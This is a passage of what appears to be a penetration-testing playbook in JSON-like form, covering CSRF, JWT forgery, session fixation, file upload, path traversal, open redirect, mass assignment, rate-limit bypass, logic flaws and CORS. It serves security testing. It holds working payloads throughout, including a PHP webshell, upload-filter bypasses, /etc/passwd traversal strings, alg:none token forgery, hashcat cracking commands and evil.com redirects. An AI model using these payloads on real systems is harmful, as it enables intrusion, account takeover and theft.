"Test login CSRF: can attacker log the victim into attacker's account? Submit login form with attacker's credentials from cross-origin."
|
||
],
|
||
"expected_results": ["State-changing action executed without CSRF token", "Token validation is flawed"],
|
||
"decision_tree": {
|
||
"no_csrf_protection": "CONFIRMED - Craft PoC form demonstrating the attack",
|
||
"token_validation_broken": "CONFIRMED - Document which bypass works",
|
||
"samesite_only": "Test Lax bypass via GET/method override",
|
||
"full_protection": "CSRF protection working correctly"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": [
|
||
"Remove CSRF token entirely (some backends don't validate if absent)",
|
||
"Use token from different session or endpoint",
|
||
"JSON content-type bypass via form with enctype='text/plain'",
|
||
"SameSite=Lax bypass: GET with side effects, HEAD/OPTIONS",
|
||
"Flash/PDF/Silverlight cross-origin request tricks (legacy)",
|
||
"Subdomain takeover → set cookies → bypass token"
|
||
],
|
||
"verification_checklist": [
|
||
"State-changing action actually executes from cross-origin",
|
||
"Victim's session is used (not unauthenticated request)",
|
||
"Action has meaningful impact (password change, not just profile view)",
|
||
"PoC HTML page demonstrates the attack end-to-end"
|
||
],
|
||
"chain_attacks": ["CSRF → Password change → Account takeover", "CSRF → Email change → Password reset → Takeover", "XSS + CSRF → Extract token + Perform action"],
|
||
"anti_false_positive": [
|
||
"Missing CSRF token on read-only GET endpoints is NOT a vulnerability",
|
||
"SameSite=Lax provides protection for POST — verify bypass works",
|
||
"Must demonstrate actual state change, not just request sending"
|
||
]
|
||
},
|
||
|
||
"jwt_manipulation": {
|
||
"category": "authentication",
|
||
"title": "JWT Token Manipulation",
|
||
"overview": "Attacks against JSON Web Token implementations: algorithm confusion (none/HS256→RS256), weak secrets, missing validation, claim manipulation. Common in modern API authentication.",
|
||
"threat_model": "Attacker forges or manipulates JWT tokens to impersonate other users, escalate privileges, or bypass authentication entirely.",
|
||
"discovery": [
|
||
"Identify JWT usage (Authorization: Bearer eyJ...)",
|
||
"Decode JWT header and payload (base64url decode)",
|
||
"Check algorithm in header",
|
||
"Test token manipulation and re-submission"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "JWT Algorithm & Signature Attacks",
|
||
"prompts": [
|
||
"Decode the JWT: split on '.', base64url-decode header and payload. Note the algorithm (alg), claims (sub, role, exp, iat), and any custom fields.",
|
||
"Test alg:none attack: change header to {\"alg\":\"none\",\"typ\":\"JWT\"}, modify payload claims, remove signature (leave trailing dot). If accepted, any token can be forged.",
|
||
"Test alg confusion (RS256→HS256): if server uses RS256, change alg to HS256 and sign with the PUBLIC KEY as HMAC secret. If server doesn't validate algorithm, it accepts the forged token.",
|
||
"Test weak secret: use hashcat or jwt_tool to crack HS256 secret: hashcat -a 0 -m 16500 'JWT_HERE' wordlist.txt. Common weak secrets: secret, password, 123456, jwt_secret.",
|
||
"Test missing expiration: remove 'exp' claim. If server doesn't enforce expiration, tokens live forever.",
|
||
"Test claim manipulation: change 'sub' to another user ID, change 'role' to 'admin', change 'email' to target user's email. Re-sign with cracked/known secret."
|
||
],
|
||
"expected_results": ["Token forged with alg:none", "Secret cracked", "Claims manipulated successfully"],
|
||
"decision_tree": {
|
||
"alg_none_accepted": "CRITICAL - Any user can be impersonated",
|
||
"secret_cracked": "CRITICAL - Full token forging capability",
|
||
"claims_modifiable": "HIGH - Privilege escalation via claim change",
|
||
"all_validations_pass": "JWT implementation secure"
|
||
}
|
||
},
|
||
{
|
||
"phase": 2,
|
||
"name": "Advanced JWT Attacks",
|
||
"prompts": [
|
||
"Test JKU/JWK injection: set 'jku' header to attacker-controlled URL hosting a JWK set. If server fetches keys from the provided URL, attacker controls the signing key.",
|
||
"Test kid injection: set 'kid' (key ID) to known values: '../../../dev/null' (empty key), 'default' (common key name), SQL injection in kid.",
|
||
"Test x5c header injection: provide an attacker's X.509 certificate chain. If server trusts the embedded cert, attacker controls signing.",
|
||
"Test token confusion: use access token as refresh token or vice versa. Use token from one microservice in another.",
|
||
"Test JWT in cookies: check if HttpOnly, Secure, SameSite attributes are set on JWT cookie."
|
||
],
|
||
"expected_results": ["JKU/JWK bypass", "Kid injection", "Cross-service token reuse"],
|
||
"decision_tree": {
|
||
"jku_jwk_bypass": "CRITICAL - Remote key injection",
|
||
"kid_injection": "CRITICAL - Key selection manipulation",
|
||
"token_confusion": "HIGH - Cross-boundary token reuse"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": [
|
||
"alg:none with different casings: None, NONE, nOnE",
|
||
"alg confusion: RS256→HS256 with public key as HMAC secret",
|
||
"Weak secret brute force via hashcat/john",
|
||
"JKU/JWK pointing to attacker-controlled JWKS endpoint",
|
||
"kid directory traversal: kid: ../../../dev/null",
|
||
"Empty signature: header.payload. (trailing dot)"
|
||
],
|
||
"verification_checklist": [
|
||
"Forged token accepted by server and grants modified access",
|
||
"Data comparison: forged token returns target user's data",
|
||
"Algorithm confusion: token signed with wrong algorithm accepted",
|
||
"Negative control: random/invalid token is properly rejected"
|
||
],
|
||
"chain_attacks": ["JWT forge → Any user impersonation → Full account takeover", "JWT → Admin claim → Administrative access"],
|
||
"anti_false_positive": [
|
||
"Decoding JWT payload is normal behavior, not a vulnerability",
|
||
"Must prove SERVER ACCEPTS the manipulated token",
|
||
"Expired but decodable token is expected — check if server enforces expiry",
|
||
"Algorithm in header visible in decoded token is by design"
|
||
]
|
||
},
|
||
|
||
"session_fixation": {
|
||
"category": "authentication",
|
||
"title": "Session Fixation",
|
||
"overview": "Application accepts externally set session identifiers. Attacker sets a known session ID for victim, victim authenticates, attacker hijacks the authenticated session.",
|
||
"threat_model": "Attacker obtains a valid session ID, forces it onto the victim (via URL, cookie injection, or meta tag), victim logs in using the fixed session, attacker now has an authenticated session.",
|
||
"discovery": [
|
||
"Check if session ID changes after login (should change!)",
|
||
"Test if arbitrary session IDs are accepted: set cookie to custom value, check if server uses it",
|
||
"Look for session ID in URL parameters"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "Session Fixation Detection",
|
||
"prompts": [
|
||
"Get a session ID before authentication (unauthenticated session). Log in. Check if the session ID changed. If the SAME session ID is used before and after authentication, session fixation is possible.",
|
||
"Test forced session: set session cookie to a known value (e.g., SESSIONID=attacker_controlled_value). Submit login. Check if the server accepts and authenticates with the attacker-controlled session ID.",
|
||
"Check for session ID in URL: /page?JSESSIONID=xyz. If session ID can be set via URL, it's easily fixable via a link.",
|
||
"Test cross-subdomain fixation: can a subdomain set a cookie for the parent domain? If *.example.com can set cookies for example.com, subdomain compromise enables fixation.",
|
||
"Verify the complete attack chain: get session → force on victim → victim authenticates → attacker uses same session."
|
||
],
|
||
"expected_results": ["Session ID persists across login", "Server accepts externally set session ID"],
|
||
"decision_tree": {
|
||
"session_not_rotated": "CONFIRMED - Session fixation possible",
|
||
"session_rotated_but_predictable": "Test session prediction instead",
|
||
"session_properly_rotated": "Not vulnerable to fixation"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": [
|
||
"Cookie injection via CRLF",
|
||
"Meta tag injection: <meta http-equiv='Set-Cookie' content='SESSIONID=fixed'>",
|
||
"Subdomain cookie setting for parent domain",
|
||
"Session ID in URL parameter or fragment"
|
||
],
|
||
"verification_checklist": [
|
||
"Same session ID used before and after authentication",
|
||
"Attacker can access authenticated resources with the fixed session",
|
||
"Full attack chain demonstrated: fix → auth → hijack",
|
||
"Negative control: session rotation prevents the attack when working correctly"
|
||
],
|
||
"chain_attacks": ["Session fixation → Authenticated access → Account takeover"],
|
||
"anti_false_positive": [
|
||
"Old session ID being invalidated but not deleted from cookie != fixation",
|
||
"Must prove the SAME session grants authenticated access",
|
||
"Check that the fixed session actually has authenticated privileges"
|
||
]
|
||
},
|
||
|
||
"file_upload": {
|
||
"category": "file_access",
|
||
"title": "Unrestricted File Upload",
|
||
"overview": "Application allows file upload without proper validation of file type, content, or storage location. Test for web shell upload, path traversal in filename, content type bypass, and double extension tricks.",
|
||
"threat_model": "Attacker uploads malicious files (web shells, malware, HTML/SVG with XSS) that get executed or served by the application, leading to RCE, XSS, or storage abuse.",
|
||
"discovery": [
|
||
"Find all file upload endpoints: profile pictures, document uploads, import features",
|
||
"Upload test files with different extensions: .php, .jsp, .aspx, .py",
|
||
"Check if uploaded files are served with their original Content-Type",
|
||
"Check file storage location: is it within the webroot?"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "Upload Restriction Bypass",
|
||
"prompts": [
|
||
"Upload a PHP webshell (<?php system($_GET['cmd']); ?>) with .php extension. If it executes when accessed, direct RCE.",
|
||
"If .php blocked, try extension bypass: .php5, .phtml, .phar, .phps, .php.jpg, .php%00.jpg, .php\\x00.jpg, .PhP, .PHP.",
|
||
"Test Content-Type bypass: set Content-Type to image/jpeg while uploading a PHP file. If server validates Content-Type instead of actual content, bypass works.",
|
||
"Test double extension: shell.php.jpg, shell.jpg.php. Some servers execute based on first extension, others on last.",
|
||
"Test path traversal in filename: ../../../var/www/html/shell.php to write outside upload directory.",
|
||
"Test null byte: shell.php%00.jpg (truncates to shell.php in old PHP).",
|
||
"Upload SVG with XSS: <svg><script>alert(document.cookie)</script></svg>."
|
||
],
|
||
"expected_results": ["File uploaded with executable extension", "Web shell executes", "XSS via SVG upload"],
|
||
"decision_tree": {
|
||
"rce_via_shell": "CRITICAL - Web shell uploaded and executing",
|
||
"xss_via_svg_html": "HIGH - Client-side code execution via upload",
|
||
"file_uploaded_but_not_executable": "MEDIUM - Check serving behavior and Content-Type",
|
||
"all_extensions_blocked": "Try content-type and magic byte attacks"
|
||
}
|
||
},
|
||
{
|
||
"phase": 2,
|
||
"name": "Advanced Upload Attacks",
|
||
"prompts": [
|
||
"Test magic byte bypass: prepend GIF89a to PHP file content. If server checks magic bytes but not extension, payload executes.",
|
||
"Test polyglot files: create image that is also valid PHP. Tools: phpggc, gifoce.",
|
||
"Test .htaccess upload (Apache): upload .htaccess with 'AddType application/x-httpd-php .jpg' to make JPG files execute as PHP.",
|
||
"Test web.config upload (IIS): upload web.config that maps .asp handler to .txt files.",
|
||
"Test file overwrite: upload a file with the same name as an existing file (config.php, .htaccess, web.config).",
|
||
"Test race condition: upload file and request it before server-side validation/deletion occurs."
|
||
],
|
||
"expected_results": ["Magic byte bypass works", "htaccess/web.config uploaded", "Race condition exploitable"],
|
||
"decision_tree": {
|
||
"config_file_overwritten": "CRITICAL - Server configuration hijacked",
|
||
"polyglot_executes": "CRITICAL - RCE via polyglot",
|
||
"race_condition": "HIGH - Temporary execution window"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": [
|
||
"Extension: .php5, .phtml, .phar, .shtml, .jsp, .jspx, .asp, .aspx, .cer, .asa",
|
||
"Double extension: .php.jpg, .jpg.php",
|
||
"Null byte: .php%00.jpg (old systems)",
|
||
"Content-Type: image/jpeg, image/gif with PHP content",
|
||
"Magic bytes: GIF89a prefix, PNG header, JPEG header",
|
||
"Case variation: .PhP, .pHp, .PHP",
|
||
".htaccess/web.config upload for handler reconfiguration",
|
||
"Path traversal in filename: ../../shell.php"
|
||
],
|
||
"verification_checklist": [
|
||
"Uploaded file accessible at known URL",
|
||
"Server-side code in uploaded file actually executes",
|
||
"XSS in SVG/HTML executes in browser when file is served",
|
||
"Negative control: upload legitimate file to confirm baseline behavior"
|
||
],
|
||
"chain_attacks": ["File upload → Web shell → RCE → Full compromise", "File upload → SVG XSS → Session theft", "File upload → htaccess → PHP execution"],
|
||
"anti_false_positive": [
|
||
"File uploaded but stored with random name and no direct access = limited impact",
|
||
"File uploaded but not served with executable Content-Type = no execution",
|
||
"Must prove the uploaded file EXECUTES or causes client-side impact"
|
||
]
|
||
},
|
||
|
||
"path_traversal": {
|
||
"category": "file_access",
|
||
"title": "Path Traversal / Directory Traversal",
|
||
"overview": "Application uses user input to construct file paths without proper validation. Unlike LFI, path traversal reads/writes files without executing them. Test for reading sensitive files and writing to arbitrary locations.",
|
||
"threat_model": "Attacker reads sensitive files (configs, credentials, source code) or writes files to arbitrary locations (overwrite configs, place backdoors) via path traversal in file operations.",
|
||
"discovery": [
|
||
"Identify parameters referencing files: file=, path=, doc=, download=, template=, img=",
|
||
"Test: ../../../../../../etc/passwd",
|
||
"Test in file download, image display, template selection, config load endpoints",
|
||
"Check for file write operations: upload filename, export path, log file path"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "Path Traversal Detection",
|
||
"prompts": [
|
||
"For each file-referencing parameter: inject ../../../../../../etc/passwd with 8+ levels of traversal. Check for 'root:x:0:0' in response body or download.",
|
||
"If ../ filtered: try ....//....//etc/passwd (nested), ..%252f..%252f (double encode), %2e%2e%2f (URL encode), ..%c0%af (overlong UTF-8).",
|
||
"Test absolute path: /etc/passwd. Some apps filter relative traversal but accept absolute paths.",
|
||
"On Windows: ..\\\\..\\\\..\\\\windows\\\\win.ini, ..\\\\..\\\\..\\\\windows\\\\system32\\\\drivers\\\\etc\\\\hosts.",
|
||
"Test for file write traversal: in upload filenames, export paths, or save operations, inject ../../../tmp/test_write to write outside intended directory."
|
||
],
|
||
"expected_results": ["Sensitive file content read", "File written to arbitrary location"],
|
||
"decision_tree": {
|
||
"file_read_confirmed": "CONFIRMED - Document files accessible",
|
||
"file_write_confirmed": "CRITICAL - Arbitrary file write",
|
||
"traversal_blocked": "Try encoding bypasses and alternative paths"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": [
|
||
"Nested traversal: ....// → ../ after filter",
|
||
"Double URL encoding: %252e%252e%252f",
|
||
"UTF-8 overlong: %c0%ae%c0%ae%c0%af",
|
||
"Mixed slash: ../..\\../../",
|
||
"Null byte truncation: ../../etc/passwd%00.jpg",
|
||
"UNC path (Windows): \\\\attacker\\share\\evil"
|
||
],
|
||
"verification_checklist": [
|
||
"File content matches expected format for the target file",
|
||
"Different paths return different file contents",
|
||
"File is OUTSIDE the intended directory scope",
|
||
"Negative control: intended file path returns expected content"
|
||
],
|
||
"chain_attacks": ["Path traversal read → Credential extraction → Auth bypass", "Path traversal write → Config overwrite → RCE"],
|
||
"anti_false_positive": [
|
||
"Error mentioning file path != traversal (info disclosure only)",
|
||
"Must read file OUTSIDE the intended directory",
|
||
"Default/sample file content != actual server file"
|
||
]
|
||
},
|
||
|
||
"open_redirect": {
|
||
"category": "client_side",
|
||
"title": "Open Redirect",
|
||
"overview": "Application redirects users to attacker-controlled URL based on user input. Test redirect parameters for URL manipulation to phishing sites.",
|
||
"threat_model": "Attacker crafts URL with redirect to malicious site. Victim trusts the legitimate domain, clicks the link, and is redirected to a phishing page or malware download.",
|
||
"discovery": [
|
||
"Find redirect parameters: redirect=, url=, next=, return=, returnTo=, goto=, destination=, redir=, out=",
|
||
"Check login/logout redirect functionality",
|
||
"Check OAuth callback URLs"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "Open Redirect Detection",
|
||
"prompts": [
|
||
"Test direct redirect: /login?redirect=https://evil.com. After login, check if browser redirects to evil.com.",
|
||
"If domain validation exists, try bypasses: https://evil.com@legitimate.com, https://legitimate.com.evil.com, https://evil.com#legitimate.com, https://evil.com\\@legitimate.com.",
|
||
"Test protocol-relative URL: //evil.com. Most browsers redirect to https://evil.com.",
|
||
"Test JavaScript redirect: redirect=javascript:alert(1) (XSS via redirect).",
|
||
"Test URL encoding: redirect=%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d (encoded https://evil.com).",
|
||
"Test in POST body: some redirect parameters are in form data, not URL."
|
||
],
|
||
"expected_results": ["Browser redirects to attacker-controlled domain"],
|
||
"decision_tree": {
|
||
"redirect_to_external": "CONFIRMED open redirect - Document the bypass used",
|
||
"javascript_redirect": "UPGRADED to XSS via open redirect",
|
||
"only_same_domain": "Redirect validation working correctly"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": [
|
||
"Domain confusion: evil.com@good.com, good.com.evil.com",
|
||
"Protocol tricks: //evil.com, ///evil.com, \\\\evil.com",
|
||
"Encoding: URL encode, double encode, Unicode",
|
||
"Path confusion: /redirect?url=/\\evil.com",
|
||
"Data URI: data:text/html,<script>location='evil.com'</script>",
|
||
"Null byte: https://good.com%00.evil.com"
|
||
],
|
||
"verification_checklist": [
|
||
"Browser actually navigates to external domain",
|
||
"Redirect happens after legitimate action (login, click)",
|
||
"External domain is fully attacker-controlled (not a subdomain of target)",
|
||
"User sees legitimate domain in the initial URL"
|
||
],
|
||
"chain_attacks": ["Open redirect → Phishing → Credential theft", "Open redirect → OAuth token theft", "Open redirect → SSRF (in server-side redirects)"],
|
||
"anti_false_positive": [
|
||
"Redirect to same domain/subdomain is usually intended behavior",
|
||
"Must redirect to a DIFFERENT domain to be open redirect",
|
||
"Meta refresh or JS redirect in response body may have different severity"
|
||
]
|
||
},
|
||
|
||
"mass_assignment": {
|
||
"category": "authorization",
|
||
"title": "Mass Assignment / Auto-Binding",
|
||
"overview": "Application automatically binds request parameters to internal object properties. Test by including additional fields (role, isAdmin, price) in requests to modify protected properties.",
|
||
"threat_model": "Attacker adds extra parameters to requests that map to internal model properties, escalating privileges, modifying prices, or changing hidden fields that should only be set by the server.",
|
||
"discovery": [
|
||
"Find API endpoints that accept JSON/form data for create/update operations",
|
||
"Review API docs, GraphQL schema, or JavaScript source for internal model fields",
|
||
"Try adding: role, admin, isAdmin, price, balance, permissions, status"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "Mass Assignment Detection",
|
||
"prompts": [
|
||
"Register a new user with extra fields: {\"username\":\"test\",\"password\":\"test\",\"role\":\"admin\",\"isAdmin\":true}. Check if the created user has admin privileges.",
|
||
"Update profile with extra fields: PUT /api/users/myid with {\"name\":\"test\",\"email\":\"test@test.com\",\"role\":\"admin\",\"verified\":true,\"balance\":99999}. Check if protected fields changed.",
|
||
"For e-commerce: modify order with {\"item_id\":1,\"quantity\":1,\"price\":0.01}. Check if the discounted price is accepted.",
|
||
"Check for GraphQL mutations that accept unexplored input fields by reviewing the schema.",
|
||
"Test nested objects: {\"user\":{\"name\":\"test\",\"permissions\":{\"admin\":true}}} for nested mass assignment.",
|
||
"Compare response before and after adding extra fields to detect which ones are accepted."
|
||
],
|
||
"expected_results": ["Role/permission elevated", "Protected field modified", "Price manipulated"],
|
||
"decision_tree": {
|
||
"privilege_escalation": "CRITICAL - Role/admin modification accepted",
|
||
"financial_manipulation": "HIGH - Price/balance modification",
|
||
"hidden_field_set": "MEDIUM - Protected field modifiable",
|
||
"extra_fields_ignored": "Mass assignment protection in place"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": [
|
||
"Different parameter formats: role=admin, role[]=admin, user[role]=admin",
|
||
"Nested object injection: {\"user\":{\"role\":\"admin\"}}",
|
||
"Array parameter: roles[0]=admin",
|
||
"camelCase/snake_case variants: isAdmin, is_admin, IsAdmin",
|
||
"GraphQL input type exploration for hidden fields"
|
||
],
|
||
"verification_checklist": [
|
||
"Protected field value actually changed (verify via GET after update)",
|
||
"Elevated privileges actually grant additional access",
|
||
"Price/balance modification reflects in actual operations",
|
||
"Negative control: without extra field, default value applies"
|
||
],
|
||
"chain_attacks": ["Mass assignment → Admin role → Full application control", "Mass assignment → Price manipulation → Financial loss"],
|
||
"anti_false_positive": [
|
||
"Field accepted in response but not persisted != mass assignment",
|
||
"Must verify the field change has ACTUAL EFFECT on authorization/logic",
|
||
"Some APIs accept and ignore unknown fields — check the database state"
|
||
]
|
||
},
|
||
|
||
"rate_limit_bypass": {
|
||
"category": "logic",
|
||
"title": "Rate Limiting Bypass / Brute Force",
|
||
"overview": "Application fails to properly rate-limit sensitive operations (login, password reset, OTP validation). Test for brute-force capabilities by bypassing or circumventing rate limits.",
|
||
"threat_model": "Attacker brute-forces credentials, OTP codes, or API keys by bypassing rate limiting mechanisms, leading to account takeover or unauthorized access.",
|
||
"discovery": [
|
||
"Test login endpoint: send 100+ requests with wrong passwords",
|
||
"Check for rate limit headers: X-RateLimit-Limit, Retry-After",
|
||
"Test OTP/2FA endpoints for brute-force possibility",
|
||
"Check password reset for enumeration/brute-force"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "Rate Limit Analysis & Bypass",
|
||
"prompts": [
|
||
"Send 50+ login requests with incorrect passwords for one account. Check if account gets locked or rate-limited. Note the threshold.",
|
||
"If rate limited, try bypass: X-Forwarded-For: {random_ip}, X-Real-IP: {random_ip}, X-Originating-IP: {random_ip}. Rotate IP per request.",
|
||
"Try adding null bytes or spaces to password/username to be treated as different requests: 'admin' vs 'admin ' vs 'admin%00'.",
|
||
"Test OTP brute-force: if OTP is 4-6 digits, send 10000/1000000 requests. Check if rate limiting prevents this.",
|
||
"Test with API key rotation or different User-Agent strings to bypass fingerprinting-based limits.",
|
||
"Test distributed brute-force: vary X-Forwarded-For header to simulate requests from different IPs."
|
||
],
|
||
"expected_results": ["Rate limit bypassed", "Brute-force possible", "OTP crackable"],
|
||
"decision_tree": {
|
||
"no_rate_limit": "HIGH - Unlimited brute-force attempts",
|
||
"rate_limit_bypassed": "HIGH - Rate limit circumvented via header manipulation",
|
||
"otp_brute_force": "HIGH - OTP crackable within feasible time",
|
||
"proper_rate_limiting": "Rate limiting working correctly"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": [
|
||
"IP rotation via X-Forwarded-For, X-Real-IP, X-Client-IP headers",
|
||
"Username manipulation: admin vs Admin vs ADMIN vs admin%00",
|
||
"Concurrent requests to exceed check window",
|
||
"API versioning: /v1/login vs /v2/login (different rate limits)",
|
||
"Parameter pollution: user=admin&user=victim",
|
||
"GraphQL batching: multiple login attempts in one request"
|
||
],
|
||
"verification_checklist": [
|
||
"Brute-force successful: correct credential found",
|
||
"Or: demonstrated ability to send unlimited attempts",
|
||
"Rate limit bypass confirmed by sending 100+ requests without blocking",
|
||
"Negative control: legitimate rate limiting blocks after threshold"
|
||
],
|
||
"chain_attacks": ["Rate limit bypass → Credential brute-force → Account takeover", "Rate limit bypass → OTP crack → 2FA bypass"],
|
||
"anti_false_positive": [
|
||
"Slow responses != rate limiting (may just be server load)",
|
||
"Must demonstrate practical brute-force capability, not just theoretical",
|
||
"Account lockout may prevent exploitation even without rate limiting"
|
||
]
|
||
},
|
||
|
||
"business_logic": {
|
||
"category": "logic",
|
||
"title": "Business Logic Vulnerabilities",
|
||
"overview": "Flaws in application's business rules that allow unintended operations: negative quantities, coupon reuse, workflow bypass, race conditions. These require understanding the application's purpose.",
|
||
"threat_model": "Attacker exploits logical flaws in business processes to gain financial advantage, bypass workflows, or manipulate application state in unintended ways.",
|
||
"discovery": [
|
||
"Map complete business workflows (registration, purchase, approval)",
|
||
"Identify numerical inputs: quantity, price, discount, points",
|
||
"Test workflow step skipping: can you go from step 1 to step 5?",
|
||
"Look for race conditions in concurrent operations"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "Logic Flaw Discovery",
|
||
"prompts": [
|
||
"Test negative values: set quantity=-1, amount=-100, discount=101%. Check if the application credits money, gives items, or applies impossible discounts.",
|
||
"Test integer overflow: set quantity=2147483647 or quantity=99999999999. Check for integer overflow causing price to become 0 or negative.",
|
||
"Test workflow bypass: skip steps in multi-step process. In checkout: go directly to payment confirmation without adding items. In registration: skip email verification step.",
|
||
"Test coupon/promo abuse: apply same coupon twice, apply multiple exclusive coupons, apply coupon to already-discounted item, use expired coupon.",
|
||
"Test race conditions: submit same payment/transfer simultaneously from two threads. Check for double-spending.",
|
||
"Test parameter tampering: modify hidden form fields for price, item ID, or user role during checkout or form submission."
|
||
],
|
||
"expected_results": ["Negative values cause credit/refund", "Workflow steps skipped", "Race condition double-spend"],
|
||
"decision_tree": {
|
||
"financial_exploitation": "HIGH - Monetary impact via logic flaw",
|
||
"workflow_bypass": "MEDIUM-HIGH - Process integrity compromised",
|
||
"race_condition": "HIGH - Double-spending or duplicate operations",
|
||
"logic_sound": "Application handles edge cases correctly"
|
||
}
|
||
},
|
||
{
|
||
"phase": 2,
|
||
"name": "Advanced Logic Testing",
|
||
"prompts": [
|
||
"Test role-based logic: can a buyer perform seller actions? Can a viewer edit? Test all role transitions.",
|
||
"Test time-based logic: submit orders at boundary times (midnight, sale end), manipulate timestamps in requests.",
|
||
"Test referral/reward abuse: self-refer, circular referral chains, mass account creation for referral bonuses.",
|
||
"Test idempotency: replay successful transaction requests. Check if items/credits are granted multiple times.",
|
||
"Test boundary values: minimum/maximum quantities, zero-value transactions, maximum-length strings.",
|
||
"Test currency rounding: exploit rounding in financial calculations (salami slicing)."
|
||
],
|
||
"expected_results": ["Role confusion exploited", "Time-based abuse", "Reward system manipulation"],
|
||
"decision_tree": {
|
||
"role_confusion": "HIGH - Unauthorized actions via role logic flaw",
|
||
"reward_abuse": "MEDIUM - Financial/reputation impact",
|
||
"replay_success": "HIGH - Duplicate transactions"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": [
|
||
"Negative/zero values in numeric fields",
|
||
"Integer overflow (MAX_INT + 1 = negative)",
|
||
"Step skipping via direct URL access",
|
||
"Race conditions via concurrent requests",
|
||
"Parameter tampering on hidden/readonly fields",
|
||
"Coupon/promo code reuse and stacking"
|
||
],
|
||
"verification_checklist": [
|
||
"Unintended operation actually completed (money credited, item granted)",
|
||
"Business rule violated with measurable impact",
|
||
"Race condition reproduces consistently (not just one-off)",
|
||
"Negative control: normal workflow works as expected"
|
||
],
|
||
"chain_attacks": ["Logic flaw → Financial fraud", "Race condition → Double-spend → Profit", "Workflow bypass → Unauthorized access"],
|
||
"anti_false_positive": [
|
||
"Application error on edge case input != business logic flaw",
|
||
"Must demonstrate actual IMPACT: financial, access, or data",
|
||
"Theoretical logic flaw without practical exploitation is informational"
|
||
]
|
||
},
|
||
|
||
# ═══════════════════════════════════════════════════════════
|
||
# CHAPTER 4: INFRASTRUCTURE & MISCONFIGURATION (36-50)
|
||
# ═══════════════════════════════════════════════════════════
|
||
|
||
"cors_misconfiguration": {
|
||
"category": "infrastructure",
|
||
"title": "CORS Misconfiguration",
|
||
"overview": "Cross-Origin Resource Sharing headers allow unauthorized domains to read responses. Test for reflected origins, null origin trust, wildcard with credentials, and subdomain trust.",
|
||
"threat_model": "Attacker hosts malicious page that makes cross-origin requests to target API. Due to permissive CORS, attacker's page can read the response containing victim's data.",
|
||
"discovery": [
|
||
"Send request with Origin: https://evil.com header",
|
||
"Check Access-Control-Allow-Origin in response",
|
||
"Test with Origin: null",
|
||
"Check if Access-Control-Allow-Credentials: true with wildcard"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "CORS Policy Analysis",
|
||
"prompts": [
|
||
"Send request with Origin: https://evil.com. If response contains Access-Control-Allow-Origin: https://evil.com, origin is reflected — any domain can read responses.",
|
||
"Send with Origin: null. If response contains Access-Control-Allow-Origin: null with Allow-Credentials: true, null origin is trusted (exploitable via sandboxed iframe).",
|
||
"Test subdomain trust: Origin: https://anything.target.com. If accepted, subdomain XSS can be leveraged to steal data.",
|
||
"Check for wildcard: Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true. This is a common misconfiguration (browsers block it, but some implementations are buggy).",
|
||
"Test prefix/suffix bypass: Origin: https://evil.com.target.com, Origin: https://target.com.evil.com. Regex-based validation may be flawed.",
|
||
"Build PoC: create HTML page with fetch/XMLHttpRequest to target API with {credentials: 'include'}. If response is readable, CORS misconfiguration confirmed."
|
||
],
|
||
"expected_results": ["Origin reflected in ACAO header", "Null origin trusted", "Subdomain bypass works"],
|
||
"decision_tree": {
|
||
"origin_reflected": "HIGH - Any domain can read authenticated responses",
|
||
"null_origin_trusted": "HIGH - Exploitable via sandboxed iframe",
|
||
"subdomain_trusted": "MEDIUM - Exploitable if subdomain is compromisable",
|
||
"proper_cors": "CORS correctly configured"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": [
|
||
"Null origin via sandboxed iframe: <iframe sandbox='allow-scripts' src='data:text/html,...'>",
|
||
"Subdomain exploitation: find XSS on *.target.com, use as CORS proxy",
|
||
"Regex bypass: target.com.evil.com, evil-target.com",
|
||
"Pre-flight bypass: use simple requests (GET, POST with standard content-types)"
|
||
],
|
||
"verification_checklist": [
|
||
"ACAO header reflects attacker-controlled origin",
|
||
"Allow-Credentials is true (needed for authenticated requests)",
|
||
"PoC page successfully reads cross-origin response data",
|
||
"Data contains sensitive/authenticated information"
|
||
],
|
||
"chain_attacks": ["CORS misconfig → Cross-origin data theft → Account takeover", "Subdomain XSS → CORS exploitation → API data theft"],
|
||
"anti_false_positive": [
|
||
"ACAO: * without Allow-Credentials is low risk (no cookies sent)",
|
||
"Origin reflected but no sensitive data in response = low impact",
|
||
"Must demonstrate actual cross-origin data reading with PoC"
|
||
]
|
||
},
|
||
|
||
"security_headers": {
|
||
"category": "infrastructure",
|
||
"title": "Missing Security Headers",
|
||
"overview": "Application missing critical HTTP security headers. Check for CSP, X-Frame-Options, Strict-Transport-Security, X-Content-Type-Options, Referrer-Policy, Permissions-Policy.",
|
||
"threat_model": "Missing headers enable various attacks: clickjacking (no X-Frame-Options), MIME sniffing (no X-Content-Type-Options), protocol downgrade (no HSTS), information leakage (no Referrer-Policy).",
|
||
"discovery": [
|
||
"Inspect response headers for all pages",
|
||
"Check for CSP header and its directives",
|
||
"Check HSTS, X-Frame-Options, X-Content-Type-Options",
|
||
"Use security header scanning tools"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "Security Header Audit",
|
||
"prompts": [
|
||
"Check Content-Security-Policy: is it present? Are there unsafe-inline, unsafe-eval, wildcard (*) sources, or data: URI in script-src? Each is a CSP weakness.",
|
||
